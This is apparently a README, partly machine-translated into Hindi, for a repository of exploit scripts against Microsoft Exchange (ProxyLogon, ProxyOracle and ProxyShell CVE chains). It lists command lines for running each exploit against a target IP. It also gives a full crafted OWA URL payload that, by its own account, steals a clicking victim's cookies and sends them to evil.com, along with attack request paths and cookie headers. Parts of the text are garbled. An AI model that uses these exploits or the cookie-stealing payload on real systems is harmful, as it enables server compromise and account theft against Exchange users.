hosch3n/proxyvulns[ProxyLogon] CVE-2021-26855 और CVE-2021-27065 ने RawIdentity Bug Exploit को ठीक किया। [ProxyOracle] CVE-2021-31195 और CVE-2021-31196 एक्सप्लॉइट चेन। [ProxyShell] CVE-2021-34473, CVE-2021-34523 और CVE-2021-31207 एक्सप्लॉइट चेन।
Usage: python3 26855.py 1.1.1.1
Once a victim clicks this link, evil.com will receive the cookies.
https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`[email protected]:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
pip3 install pycryptodome
Usage: python3 31196.py 1.1.1.1 'cadata=xxx; cadataTTL=yyy; ...'
pip3 install pypsrp
Usage: python3 34473.py 1.1.1.1
Usage: python3 31207.py 1.1.1.1 [Local File Path] [UNC Absolute Path]
कुछ संस्करणों में काम नहीं कर रहा है (
/@gmail.comपथ के कारण), बाद में इसे ठीक किया जा सकता है
Cookie: securitytoken=foobar
/owa/calendar/[email protected]/foobar/owa14.aspx/.js